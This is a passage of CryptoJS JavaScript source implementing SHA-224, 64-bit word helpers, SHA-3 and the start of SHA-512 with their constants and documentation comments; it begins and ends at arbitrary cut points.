Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var C_algo = C.algo;\n\t    var SHA256 = C_algo.SHA256;\n\n\t    /**\n\t     * SHA-224 hash algorithm.\n\t     */\n\t    var SHA224 = C_algo.SHA224 = SHA256.extend({\n\t        _doReset: function () {\n\t            this._hash = new WordArray.init([\n\t                0xc1059ed8, 0x367cd507, 0x3070dd17, 0xf70e5939,\n\t                0xffc00b31, 0x68581511, 0x64f98fa7, 0xbefa4fa4\n\t            ]);\n\t        },\n\n\t        _doFinalize: function () {\n\t            var hash = SHA256._doFinalize.call(this);\n\n\t            hash.sigBytes -= 4;\n\n\t            return hash;\n\t        }\n\t    });\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.SHA224('message');\n\t     *     var hash = CryptoJS.SHA224(wordArray);\n\t     */\n\t    C.SHA224 = SHA256._createHelper(SHA224);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacSHA224(message, key);\n\t     */\n\t    C.HmacSHA224 = SHA256._createHmacHelper(SHA224);\n\t}());\n\n\n\t(function (undefined) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var Base = C_lib.Base;\n\t    var X32WordArray = C_lib.WordArray;\n\n\t    /**\n\t     * x64 namespace.\n\t     */\n\t    var C_x64 = C.x64 = {};\n\n\t    /**\n\t     * A 64-bit word.\n\t     */\n\t    var X64Word = C_x64.Word = Base.extend({\n\t        /**\n\t         * Initializes a newly created 64-bit word.\n\t         *\n\t         * @param {number} high The high 32 bits.\n\t         * @param {number} low The low 32 bits.\n\t         *\n\t         * @example\n\t         *\n\t         *     var x64Word = CryptoJS.x64.Word.create(0x00010203, 0x04050607);\n\t         */\n\t        init: function (high, low) {\n\t            this.high = high;\n\t            this.low = low;\n\t        }\n\n\t        /**\n\t         * Bitwise NOTs this word.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after negating.\n\t         *\n\t         * @example\n\t         *\n\t         *     var negated = x64Word.not();\n\t         */\n\t        // not: function () {\n\t            // var high = ~this.high;\n\t            // var low = ~this.low;\n\n\t            // return X64Word.create(high, low);\n\t        // },\n\n\t        /**\n\t         * Bitwise ANDs this word with the passed word.\n\t         *\n\t         * @param {X64Word} word The x64-Word to AND with this word.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after ANDing.\n\t         *\n\t         * @example\n\t         *\n\t         *     var anded = x64Word.and(anotherX64Word);\n\t         */\n\t        // and: function (word) {\n\t            // var high = this.high & word.high;\n\t            // var low = this.low & word.low;\n\n\t            // return X64Word.create(high, low);\n\t        // },\n\n\t        /**\n\t         * Bitwise ORs this word with the passed word.\n\t         *\n\t         * @param {X64Word} word The x64-Word to OR with this word.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after ORing.\n\t         *\n\t         * @example\n\t         *\n\t         *     var ored = x64Word.or(anotherX64Word);\n\t         */\n\t        // or: function (word) {\n\t            // var high = this.high | word.high;\n\t            // var low = this.low | word.low;\n\n\t            // return X64Word.create(high, low);\n\t        // },\n\n\t        /**\n\t         * Bitwise XORs this word with the passed word.\n\t         *\n\t         * @param {X64Word} word The x64-Word to XOR with this word.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after XORing.\n\t         *\n\t         * @example\n\t         *\n\t         *     var xored = x64Word.xor(anotherX64Word);\n\t         */\n\t        // xor: function (word) {\n\t            // var high = this.high ^ word.high;\n\t            // var low = this.low ^ word.low;\n\n\t            // return X64Word.create(high, low);\n\t        // },\n\n\t        /**\n\t         * Shifts this word n bits to the left.\n\t         *\n\t         * @param {number} n The number of bits to shift.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after shifting.\n\t         *\n\t         * @example\n\t         *\n\t         *     var shifted = x64Word.shiftL(25);\n\t         */\n\t        // shiftL: function (n) {\n\t            // if (n < 32) {\n\t                // var high = (this.high << n) | (this.low >>> (32 - n));\n\t                // var low = this.low << n;\n\t            // } else {\n\t                // var high = this.low << (n - 32);\n\t                // var low = 0;\n\t            // }\n\n\t            // return X64Word.create(high, low);\n\t        // },\n\n\t        /**\n\t         * Shifts this word n bits to the right.\n\t         *\n\t         * @param {number} n The number of bits to shift.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after shifting.\n\t         *\n\t         * @example\n\t         *\n\t         *     var shifted = x64Word.shiftR(7);\n\t         */\n\t        // shiftR: function (n) {\n\t            // if (n < 32) {\n\t                // var low = (this.low >>> n) | (this.high << (32 - n));\n\t                // var high = this.high >>> n;\n\t            // } else {\n\t                // var low = this.high >>> (n - 32);\n\t                // var high = 0;\n\t            // }\n\n\t            // return X64Word.create(high, low);\n\t        // },\n\n\t        /**\n\t         * Rotates this word n bits to the left.\n\t         *\n\t         * @param {number} n The number of bits to rotate.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after rotating.\n\t         *\n\t         * @example\n\t         *\n\t         *     var rotated = x64Word.rotL(25);\n\t         */\n\t        // rotL: function (n) {\n\t            // return this.shiftL(n).or(this.shiftR(64 - n));\n\t        // },\n\n\t        /**\n\t         * Rotates this word n bits to the right.\n\t         *\n\t         * @param {number} n The number of bits to rotate.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after rotating.\n\t         *\n\t         * @example\n\t         *\n\t         *     var rotated = x64Word.rotR(7);\n\t         */\n\t        // rotR: function (n) {\n\t            // return this.shiftR(n).or(this.shiftL(64 - n));\n\t        // },\n\n\t        /**\n\t         * Adds this word with the passed word.\n\t         *\n\t         * @param {X64Word} word The x64-Word to add with this word.\n\t         *\n\t         * @return {X64Word} A new x64-Word object after adding.\n\t         *\n\t         * @example\n\t         *\n\t         *     var added = x64Word.add(anotherX64Word);\n\t         */\n\t        // add: function (word) {\n\t            // var low = (this.low + word.low) | 0;\n\t            // var carry = (low >>> 0) < (this.low >>> 0) ? 1 : 0;\n\t            // var high = (this.high + word.high + carry) | 0;\n\n\t            // return X64Word.create(high, low);\n\t        // }\n\t    });\n\n\t    /**\n\t     * An array of 64-bit words.\n\t     *\n\t     * @property {Array} words The array of CryptoJS.x64.Word objects.\n\t     * @property {number} sigBytes The number of significant bytes in this word array.\n\t     */\n\t    var X64WordArray = C_x64.WordArray = Base.extend({\n\t        /**\n\t         * Initializes a newly created word array.\n\t         *\n\t         * @param {Array} words (Optional) An array of CryptoJS.x64.Word objects.\n\t         * @param {number} sigBytes (Optional) The number of significant bytes in the words.\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.x64.WordArray.create();\n\t         *\n\t         *     var wordArray = CryptoJS.x64.WordArray.create([\n\t         *         CryptoJS.x64.Word.create(0x00010203, 0x04050607),\n\t         *         CryptoJS.x64.Word.create(0x18191a1b, 0x1c1d1e1f)\n\t         *     ]);\n\t         *\n\t         *     var wordArray = CryptoJS.x64.WordArray.create([\n\t         *         CryptoJS.x64.Word.create(0x00010203, 0x04050607),\n\t         *         CryptoJS.x64.Word.create(0x18191a1b, 0x1c1d1e1f)\n\t         *     ], 10);\n\t         */\n\t        init: function (words, sigBytes) {\n\t            words = this.words = words || [];\n\n\t            if (sigBytes != undefined) {\n\t                this.sigBytes = sigBytes;\n\t            } else {\n\t                this.sigBytes = words.length * 8;\n\t            }\n\t        },\n\n\t        /**\n\t         * Converts this 64-bit word array to a 32-bit word array.\n\t         *\n\t         * @return {CryptoJS.lib.WordArray} This word array's data as a 32-bit word array.\n\t         *\n\t         * @example\n\t         *\n\t         *     var x32WordArray = x64WordArray.toX32();\n\t         */\n\t        toX32: function () {\n\t            // Shortcuts\n\t            var x64Words = this.words;\n\t            var x64WordsLength = x64Words.length;\n\n\t            // Convert\n\t            var x32Words = [];\n\t            for (var i = 0; i < x64WordsLength; i++) {\n\t                var x64Word = x64Words[i];\n\t                x32Words.push(x64Word.high);\n\t                x32Words.push(x64Word.low);\n\t            }\n\n\t            return X32WordArray.create(x32Words, this.sigBytes);\n\t        },\n\n\t        /**\n\t         * Creates a copy of this word array.\n\t         *\n\t         * @return {X64WordArray} The clone.\n\t         *\n\t         * @example\n\t         *\n\t         *     var clone = x64WordArray.clone();\n\t         */\n\t        clone: function () {\n\t            var clone = Base.clone.call(this);\n\n\t            // Clone \"words\" array\n\t            var words = clone.words = this.words.slice(0);\n\n\t            // Clone each X64Word object\n\t            var wordsLength = words.length;\n\t            for (var i = 0; i < wordsLength; i++) {\n\t                words[i] = words[i].clone();\n\t            }\n\n\t            return clone;\n\t        }\n\t    });\n\t}());\n\n\n\t(function (Math) {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var WordArray = C_lib.WordArray;\n\t    var Hasher = C_lib.Hasher;\n\t    var C_x64 = C.x64;\n\t    var X64Word = C_x64.Word;\n\t    var C_algo = C.algo;\n\n\t    // Constants tables\n\t    var RHO_OFFSETS = [];\n\t    var PI_INDEXES  = [];\n\t    var ROUND_CONSTANTS = [];\n\n\t    // Compute Constants\n\t    (function () {\n\t        // Compute rho offset constants\n\t        var x = 1, y = 0;\n\t        for (var t = 0; t < 24; t++) {\n\t            RHO_OFFSETS[x + 5 * y] = ((t + 1) * (t + 2) / 2) % 64;\n\n\t            var newX = y % 5;\n\t            var newY = (2 * x + 3 * y) % 5;\n\t            x = newX;\n\t            y = newY;\n\t        }\n\n\t        // Compute pi index constants\n\t        for (var x = 0; x < 5; x++) {\n\t            for (var y = 0; y < 5; y++) {\n\t                PI_INDEXES[x + 5 * y] = y + ((2 * x + 3 * y) % 5) * 5;\n\t            }\n\t        }\n\n\t        // Compute round constants\n\t        var LFSR = 0x01;\n\t        for (var i = 0; i < 24; i++) {\n\t            var roundConstantMsw = 0;\n\t            var roundConstantLsw = 0;\n\n\t            for (var j = 0; j < 7; j++) {\n\t                if (LFSR & 0x01) {\n\t                    var bitPosition = (1 << j) - 1;\n\t                    if (bitPosition < 32) {\n\t                        roundConstantLsw ^= 1 << bitPosition;\n\t                    } else /* if (bitPosition >= 32) */ {\n\t                        roundConstantMsw ^= 1 << (bitPosition - 32);\n\t                    }\n\t                }\n\n\t                // Compute next LFSR\n\t                if (LFSR & 0x80) {\n\t                    // Primitive polynomial over GF(2): x^8 + x^6 + x^5 + x^4 + 1\n\t                    LFSR = (LFSR << 1) ^ 0x71;\n\t                } else {\n\t                    LFSR <<= 1;\n\t                }\n\t            }\n\n\t            ROUND_CONSTANTS[i] = X64Word.create(roundConstantMsw, roundConstantLsw);\n\t        }\n\t    }());\n\n\t    // Reusable objects for temporary values\n\t    var T = [];\n\t    (function () {\n\t        for (var i = 0; i < 25; i++) {\n\t            T[i] = X64Word.create();\n\t        }\n\t    }());\n\n\t    /**\n\t     * SHA-3 hash algorithm.\n\t     */\n\t    var SHA3 = C_algo.SHA3 = Hasher.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {number} outputLength\n\t         *   The desired number of bits in the output hash.\n\t         *   Only values permitted are: 224, 256, 384, 512.\n\t         *   Default: 512\n\t         */\n\t        cfg: Hasher.cfg.extend({\n\t            outputLength: 512\n\t        }),\n\n\t        _doReset: function () {\n\t            var state = this._state = []\n\t            for (var i = 0; i < 25; i++) {\n\t                state[i] = new X64Word.init();\n\t            }\n\n\t            this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32;\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Shortcuts\n\t            var state = this._state;\n\t            var nBlockSizeLanes = this.blockSize / 2;\n\n\t            // Absorb\n\t            for (var i = 0; i < nBlockSizeLanes; i++) {\n\t                // Shortcuts\n\t                var M2i  = M[offset + 2 * i];\n\t                var M2i1 = M[offset + 2 * i + 1];\n\n\t                // Swap endian\n\t                M2i = (\n\t                    (((M2i << 8)  | (M2i >>> 24)) & 0x00ff00ff) |\n\t                    (((M2i << 24) | (M2i >>> 8))  & 0xff00ff00)\n\t                );\n\t                M2i1 = (\n\t                    (((M2i1 << 8)  | (M2i1 >>> 24)) & 0x00ff00ff) |\n\t                    (((M2i1 << 24) | (M2i1 >>> 8))  & 0xff00ff00)\n\t                );\n\n\t                // Absorb message into state\n\t                var lane = state[i];\n\t                lane.high ^= M2i1;\n\t                lane.low  ^= M2i;\n\t            }\n\n\t            // Rounds\n\t            for (var round = 0; round < 24; round++) {\n\t                // Theta\n\t                for (var x = 0; x < 5; x++) {\n\t                    // Mix column lanes\n\t                    var tMsw = 0, tLsw = 0;\n\t                    for (var y = 0; y < 5; y++) {\n\t                        var lane = state[x + 5 * y];\n\t                        tMsw ^= lane.high;\n\t                        tLsw ^= lane.low;\n\t                    }\n\n\t                    // Temporary values\n\t                    var Tx = T[x];\n\t                    Tx.high = tMsw;\n\t                    Tx.low  = tLsw;\n\t                }\n\t                for (var x = 0; x < 5; x++) {\n\t                    // Shortcuts\n\t                    var Tx4 = T[(x + 4) % 5];\n\t                    var Tx1 = T[(x + 1) % 5];\n\t                    var Tx1Msw = Tx1.high;\n\t                    var Tx1Lsw = Tx1.low;\n\n\t                    // Mix surrounding columns\n\t                    var tMsw = Tx4.high ^ ((Tx1Msw << 1) | (Tx1Lsw >>> 31));\n\t                    var tLsw = Tx4.low  ^ ((Tx1Lsw << 1) | (Tx1Msw >>> 31));\n\t                    for (var y = 0; y < 5; y++) {\n\t                        var lane = state[x + 5 * y];\n\t                        lane.high ^= tMsw;\n\t                        lane.low  ^= tLsw;\n\t                    }\n\t                }\n\n\t                // Rho Pi\n\t                for (var laneIndex = 1; laneIndex < 25; laneIndex++) {\n\t                    // Shortcuts\n\t                    var lane = state[laneIndex];\n\t                    var laneMsw = lane.high;\n\t                    var laneLsw = lane.low;\n\t                    var rhoOffset = RHO_OFFSETS[laneIndex];\n\n\t                    // Rotate lanes\n\t                    if (rhoOffset < 32) {\n\t                        var tMsw = (laneMsw << rhoOffset) | (laneLsw >>> (32 - rhoOffset));\n\t                        var tLsw = (laneLsw << rhoOffset) | (laneMsw >>> (32 - rhoOffset));\n\t                    } else /* if (rhoOffset >= 32) */ {\n\t                        var tMsw = (laneLsw << (rhoOffset - 32)) | (laneMsw >>> (64 - rhoOffset));\n\t                        var tLsw = (laneMsw << (rhoOffset - 32)) | (laneLsw >>> (64 - rhoOffset));\n\t                    }\n\n\t                    // Transpose lanes\n\t                    var TPiLane = T[PI_INDEXES[laneIndex]];\n\t                    TPiLane.high = tMsw;\n\t                    TPiLane.low  = tLsw;\n\t                }\n\n\t                // Rho pi at x = y = 0\n\t                var T0 = T[0];\n\t                var state0 = state[0];\n\t                T0.high = state0.high;\n\t                T0.low  = state0.low;\n\n\t                // Chi\n\t                for (var x = 0; x < 5; x++) {\n\t                    for (var y = 0; y < 5; y++) {\n\t                        // Shortcuts\n\t                        var laneIndex = x + 5 * y;\n\t                        var lane = state[laneIndex];\n\t                        var TLane = T[laneIndex];\n\t                        var Tx1Lane = T[((x + 1) % 5) + 5 * y];\n\t                        var Tx2Lane = T[((x + 2) % 5) + 5 * y];\n\n\t                        // Mix rows\n\t                        lane.high = TLane.high ^ (~Tx1Lane.high & Tx2Lane.high);\n\t                        lane.low  = TLane.low  ^ (~Tx1Lane.low  & Tx2Lane.low);\n\t                    }\n\t                }\n\n\t                // Iota\n\t                var lane = state[0];\n\t                var roundConstant = ROUND_CONSTANTS[round];\n\t                lane.high ^= roundConstant.high;\n\t                lane.low  ^= roundConstant.low;;\n\t            }\n\t        },\n\n\t        _doFinalize: function () {\n\t            // Shortcuts\n\t            var data = this._data;\n\t            var dataWords = data.words;\n\t            var nBitsTotal = this._nDataBytes * 8;\n\t            var nBitsLeft = data.sigBytes * 8;\n\t            var blockSizeBits = this.blockSize * 32;\n\n\t            // Add padding\n\t            dataWords[nBitsLeft >>> 5] |= 0x1 << (24 - nBitsLeft % 32);\n\t            dataWords[((Math.ceil((nBitsLeft + 1) / blockSizeBits) * blockSizeBits) >>> 5) - 1] |= 0x80;\n\t            data.sigBytes = dataWords.length * 4;\n\n\t            // Hash final blocks\n\t            this._process();\n\n\t            // Shortcuts\n\t            var state = this._state;\n\t            var outputLengthBytes = this.cfg.outputLength / 8;\n\t            var outputLengthLanes = outputLengthBytes / 8;\n\n\t            // Squeeze\n\t            var hashWords = [];\n\t            for (var i = 0; i < outputLengthLanes; i++) {\n\t                // Shortcuts\n\t                var lane = state[i];\n\t                var laneMsw = lane.high;\n\t                var laneLsw = lane.low;\n\n\t                // Swap endian\n\t                laneMsw = (\n\t                    (((laneMsw << 8)  | (laneMsw >>> 24)) & 0x00ff00ff) |\n\t                    (((laneMsw << 24) | (laneMsw >>> 8))  & 0xff00ff00)\n\t                );\n\t                laneLsw = (\n\t                    (((laneLsw << 8)  | (laneLsw >>> 24)) & 0x00ff00ff) |\n\t                    (((laneLsw << 24) | (laneLsw >>> 8))  & 0xff00ff00)\n\t                );\n\n\t                // Squeeze state to retrieve hash\n\t                hashWords.push(laneLsw);\n\t                hashWords.push(laneMsw);\n\t            }\n\n\t            // Return final computed hash\n\t            return new WordArray.init(hashWords, outputLengthBytes);\n\t        },\n\n\t        clone: function () {\n\t            var clone = Hasher.clone.call(this);\n\n\t            var state = clone._state = this._state.slice(0);\n\t            for (var i = 0; i < 25; i++) {\n\t                state[i] = state[i].clone();\n\t            }\n\n\t            return clone;\n\t        }\n\t    });\n\n\t    /**\n\t     * Shortcut function to the hasher's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     *\n\t     * @return {WordArray} The hash.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hash = CryptoJS.SHA3('message');\n\t     *     var hash = CryptoJS.SHA3(wordArray);\n\t     */\n\t    C.SHA3 = Hasher._createHelper(SHA3);\n\n\t    /**\n\t     * Shortcut function to the HMAC's object interface.\n\t     *\n\t     * @param {WordArray|string} message The message to hash.\n\t     * @param {WordArray|string} key The secret key.\n\t     *\n\t     * @return {WordArray} The HMAC.\n\t     *\n\t     * @static\n\t     *\n\t     * @example\n\t     *\n\t     *     var hmac = CryptoJS.HmacSHA3(message, key);\n\t     */\n\t    C.HmacSHA3 = Hasher._createHmacHelper(SHA3);\n\t}(Math));\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var Hasher = C_lib.Hasher;\n\t    var C_x64 = C.x64;\n\t    var X64Word = C_x64.Word;\n\t    var X64WordArray = C_x64.WordArray;\n\t    var C_algo = C.algo;\n\n\t    function X64Word_create() {\n\t        return X64Word.create.apply(X64Word, arguments);\n\t    }\n\n\t    // Constants\n\t    var K = [\n\t        X64Word_create(0x428a2f98, 0xd728ae22), X64Word_create(0x71374491, 0x23ef65cd),\n\t        X64Word_create(0xb5c0fbcf, 0xec4d3b2f), X64Word_create(0xe9b5dba5, 0x8189dbbc),\n\t        X64Word_create(0x3956c25b, 0xf348b538), X64Word_create(0x59f111f1, 0xb605d019),\n\t        X64Word_create(0x923f82a4, 0xaf194f9b), X64Word_create(0xab1c5ed5, 0xda6d8118),\n\t        X64Word_create(0xd807aa98, 0xa3030242), X64Word_create(0x12835b01, 0x45706fbe),\n\t        X64Word_create(0x243185be, 0x4ee4b28c), X64Word_create(0x550c7dc3, 0xd5ffb4e2),\n\t        X64Word_create(0x72be5d74, 0xf27b896f), X64Word_create(0x80deb1fe, 0x3b1696b1),\n\t        X64Word_create(0x9bdc06a7, 0x25c71235), X64Word_create(0xc19bf174, 0xcf692694),\n\t        X64Word_create(0xe49b69c1, 0x9ef14ad2), X64Word_create(0xefbe4786, 0x384f25e3),\n\t        X64Word_create(0x0fc19dc6, 0x8b8cd5b5), X64Word_create(0x240ca1cc, 0x77ac9c65),\n\t        X64Word_create(0x2de92c6f, 0x592b0275), X64Word_create(0x4a7484aa, 0x6ea6e483),\n\t        X64Word_create(0x5cb0a9dc, 0xbd41fbd4), X64Word_create(0x76f988da, 0x831153b5),\n\t        X64Word_create(0x983e5152, 0xee66dfab), X64Word_create(0xa831c66d, 0x2db43210),\n\t        X64Word_create(0xb00327c8, 0x98fb213f), X64Word_create(0xbf597fc7, 0xbeef0ee4),\n\t        X64Word_create(0xc6e00bf3, 0x3da88fc2), X64Word_create(0xd5a79147, 0x930aa725),\n\t        X64Word_create(0x06ca6351, 0xe003826f), X64Word_create(0x14292967, 0x0a0e6e70),\n\t        X64Word_create(0x27b70a85, 0x46d22ffc), X64Word_create(0x2e1b2138, 0x5c26c926),\n\t        X64Word_create(0x4d2c6dfc, 0x5ac42aed), X64Word_create(0x53380d13, 0x9d95b3df),\n\t        X64Word_create(0x650a7354, 0x8baf63de), X64Word_create(0x766a0abb, 0x3c77b2a8),\n\t        X64Word_create(0x81c2c92e, 0x47edaee6), X64Word_create(0x92722c85, 0x1482353b),\n\t        X64Word_create(0xa2bfe8a1, 0x4cf10364), X64Word_create(0xa81a664b, 0xbc423001),\n\t        X64Word_create(0xc24b8b70, 0xd0f89791), X64Word_create(0xc76c51a3, 0x0654be30),\n\t        X64Word_create(0xd192e819, 0xd6ef5218), X64Word_create(0xd6990624, 0x5565a910),\n\t        X64Word_create(0xf40e3585, 0x5771202a), X64Word_create(0x106aa070, 0x32bbd1b8),\n\t        X64Word_create(0x19a4c116, 0xb8d2d0c8), X64Word_create(0x1e376c08, 0x5141ab53),\n\t        X64Word_create(0x2748774c, 0xdf8eeb99), X64Word_create(0x34b0bcb5, 0xe19b48a8),\n\t        X64Word_create(0x391c0cb3, 0xc5c95a63), X64Word_create(0x4ed8aa4a, 0xe3418acb),\n\t        X64Word_create(0x5b9cca4f, 0x7763e373), X64Word_create(0x682e6ff3, 0xd6b2b8a3),\n\t        X64Word_create(0x748f82ee, 0x5defb2fc), X64Word_create(0x78a5636f, 0x43172f60),\n\t        X64Word_create(0x84c87814, 0xa1f0ab72), X64Word_create(0x8cc70208, 0x1a6439ec),\n\t        X64Word_create(0x90befffa, 0x23631e28), X64Word_create(0xa4506ceb, 0xde82bde9),\n\t        X64Word_create(0xbef9a3f7, 0xb2c67915), X64Word_create(0xc67178f2, 0xe372532b),\n\t        X64Word_create(0xca273ece, 0xea26619c), X64Word_create(0xd186b8c7, 0x21c0c207),\n\t        X64Word_create(0xeada7dd6, 0xcde0eb1e), X64Word_create(0xf57d4f7f, 0xee6ed178),\n\t        X64Word_create(0x06f067aa, 0x72176fba), X64Word_create(0x0a637dc5, 0xa2c898a6),\n\t        X64Word_create(0x113f9804, 0xbef90dae), X64Word_create(0x1b710b35, 0x131c471b),\n\t        X64Word_create(0x28db77f5, 0x23047d84), X64Word_create(0x32caab7b, 0x40c72493),\n\t        X64Word_create(0x3c9ebe0a, 0x15c9bebc), X64Word_create(0x431d67c4, 0x9c100d4c),\n\t        X64Word_create(0x4cc5d4be, 0xcb3e42b6), X64Word_create(0x597f299c, 0xfc657e2a),\n\t        X64Word_create(0x5fcb6fab, 0x3ad6faec), X64Word_create(0x6c44198c, 0x4a475817)\n\t    ];\n\n\t    // Reusable objects\n\t    var W = [];\n\t    (function () {\n\t        for (var i = 0; i < 80; i++) {\n\t            W[i] = X64Word_create();\n\t        }\n\t    }());\n\n\t    /**\n\t     * SHA-512 hash algorithm.\n\t     */\n\t    var SHA512 = C_algo.SHA512 = Hasher.extend({\n\t        _doReset: function () {\n\t            this._hash = new X64WordArray.init([\n\t                new X64Word.init(0x6a09e667, 0xf3bcc908), new X64Word.init(0xbb67ae85, 0x84caa73b),\n\t                new X64Word.init(0x3c6ef372, 0xfe94f82b), new X64Word.init(0xa54ff53a, 0x5f1d36f1),\n\t                new X64Word.init(0x510e527f, 0xade682d1), new X64Word.init(0x9b05688c, 0x2b3e6c1f),\n\t                new X64Word.init(0x1f83d9ab, 0xfb41bd6b), new X64Word.init(0x5be0cd19, 0x137e2179)\n\t            ]);\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Shortcuts\n\t            var H = this._hash.words;\n\n\t            var H0 = H[0];\n\t            var H1 = H[1];\n\t            var H2 = H[2];\n\t            var H3 = H[3];\n\t            var H4 = H[4];\n\t            var H5 = H[5];\n\t            var H6 = H[6];\n\t            var H7 = H[7];\n\n\t            var H0h = H0.high;\n\t            var H0l = H0.low;\n\t            var H1h = H1.high;\n\t            var H1l = H1.low;\n\t            var H2h = H2.high;\n\t            var H2l = H2.low;\n\t            var H3h = H3.high;\n\t            var H3l = H3.low;\n\t            var H4h = H4.high;\n\t            var H4l = H4.low;\n\t            var H5h = H5.high;\n\t            var H5l = H5.low;\n\t            var H6h = H6.high;\n\t            var H6l = H6.low;\n\t            var H7h = H7.high;\n\t            var H7l = H7.low;\n\n\t            // Working variables\n\t            var ah = H0h;\n\t            var al = H0l;\n\t            var bh = H1h;\n\t            var bl = H1l;\n\t            var ch = H2h;\n\t            var cl = H2l;\n\t            var dh = H3h;\n\t            var dl = H3l;\n\t            var eh = H4h;\n\t            var el = H4l;\n\t            var fh = H5h;\n\t            var fl = H5l;\n\t            var gh = H6h;\n\t            var gl = H6l;\n\t            var hh = H7h;\n\t            var hl = H7l;\n\n\t            // Rounds\n\t            for (var i = 0; i < 80; i++) {\n\t                // Shortcut\n\t                var Wi = W[i];\n\n\t                // Extend message\n\t                if (i < 16) {\n\t                    var Wih = Wi.high = M[offset + i * 2]     | 0;\n\t                    var Wil = Wi.low  = M[offset + i * 2 + 1] | 0;\n\t                } else {\n\t                    // Gamma0\n\t                    var gamma0x  = W[i - 15];\n\t                    var gamma0xh = gamma0x.high;\n\t                    var gamma0xl = gamma0x.low;\n\t                    var gamma0h  = ((gamma0xh >>> 1) | (gamma0xl << 31)) ^ ((gamma0xh >>> 8) | (gamma0xl << 24)) ^ (gamma0xh >>> 7);\n\t                    var gamma0l  = ((gamma0xl >>> 1) | (gamma0xh << 31)) ^ ((gamma0xl >>> 8) | (gamma0xh << 24)) ^ ((gamma0xl >>> 7) | (gamma0xh << 25));\n\n\t                    // Gamma1\n\t                    var gamma1x  = W[i - 2];\n\t                    var gamma1xh = gamma1x.high;\n\t                    var gamma1xl = gamma1x.low;\n\t                    var gamma1h  = ((gamma1xh >>> 19) | (gamma1xl << 13)) ^ ((gamma1xh << 3) | (gamma1xl >>> 29)) ^ (gamma1xh >>> 6);\n\t                    var gamma1l  = ((gamma1xl >>> 19) | (gamma1xh << 13)) ^ ((gamma1xl << 3) | (gamma1xh >>> 29)) ^ ((gamma1xl >>> 6) | (gamma1xh << 26));\n\n\t                    // W[i] = gamma0 + W[i - 7] + gamma1 + W[i - 16]\n\t                    var Wi7  = W[i - 7];\n\t                    var Wi7h = Wi7.high;\n\t                    var Wi7l = Wi7.low;\n\n\t                    var Wi16  = W[i - 16];\n\t                    var Wi16h = Wi16.high;\n\t                    var Wi16l = Wi16.low;\n\n\t                    var Wil = gamma0l + Wi7l;\n\t                    var Wih = gamma0h + Wi7h + ((Wil >>> 0) < (gamma0l >>> 0) ? 1 : 0);\n\t                    var Wil = Wil + gamma1l;\n\t                    var Wih = Wih + gamma1h + ((Wil >>> 0) < (gamma1l >>> 0) ? 1 : 0);\n\t                    var Wil = Wil + Wi16l;\n\t                    var Wih = Wih + Wi16h + ((Wil >>> 0) < (Wi16l >>> 0) ? 1 : 0);\n\n\t                    Wi.high = Wih;\n\t                    Wi.low  = Wil;\n\t                }\n\n\t                var chh  = (eh & fh) ^ (~eh & gh);\n\t                var chl  = (el & fl) ^ (~el & gl);\n\t                var majh = (ah & bh) ^ (ah & ch) ^ (bh & ch);\n\t                var majl = (al & bl) ^ (al & cl) ^ (bl & cl);\n\n\t                var sigma0h = ((ah >>> 28) | (al << 4))  ^ ((ah << 30)  | (al >>> 2)) ^ ((ah << 25) | (al >>> 7));\n\t                var sigma0l = ((al >>> 28) | (ah << 4))  ^ ((al << 30)  | (ah >>> 2)) ^ ((al << 25) | (ah >>> 7));\n\t                var sigma1h = ((eh >>> 14) | (el << 18)) ^ ((eh >>> 18) | (el << 14)) ^ ((eh << 23) | (el >>> 9));\n\t                var sigma1l = ((el >>> 14) | (eh << 18)) ^ ((el >>> 18) | (eh << 14)) ^ ((el << 23) | (eh >>> 9));\n\n\t                // t1 = h + sigma1 + ch + K[i] + W[i]\n\t                var Ki  = K[i];\n\t                var Kih = Ki.high;\n\t                var Kil = Ki.low;\n\n\t                var t1l = hl + sigma1l;\n\t                var t1h = hh + sigma1h + ((t1l >>> 0) < (hl >>> 0) ? 1 : 0);\n\t                var t1l = t1l + chl;\n\t                var t1h = t1h + chh + ((t1l >>> 0) < (chl >>> 0) ? 1 : 0);\n\t                var t1l = t1l + Kil;\n\t                var t1h = t1h + Kih + ((t1l >>> 0) < (Kil >>> 0) ? 1 : 0);\n\t                var t1l = t1l + Wil;\n\t                var t1h = t1h + Wih + ((t1l >>> 0) < (Wil >>> 0) ? 1 : 0);\n\n\t                // t2 = sigma0 + maj\n\t                var t2l = sigma0l + majl;\n\t                var t2h = sigma0h + majh + ((t2l >>> 0) < (sigma0l >>> 0) ? 1 : 0);\n\n\t                // Update working variables\n\t                hh = gh;\n\t                hl = gl;\n\t                gh = fh;\n\t                gl = fl;\n\t                fh = eh;\n\t                fl = el;\n\t                el = (dl + t1l) | 0;\n\t                eh = (dh + t1h + ((el >>> 0) < (dl >>> 0) ? 1 : 0)) | 0;\n\t                dh = ch;\n\t                dl = cl;\n\t                ch = bh;\n\t                cl 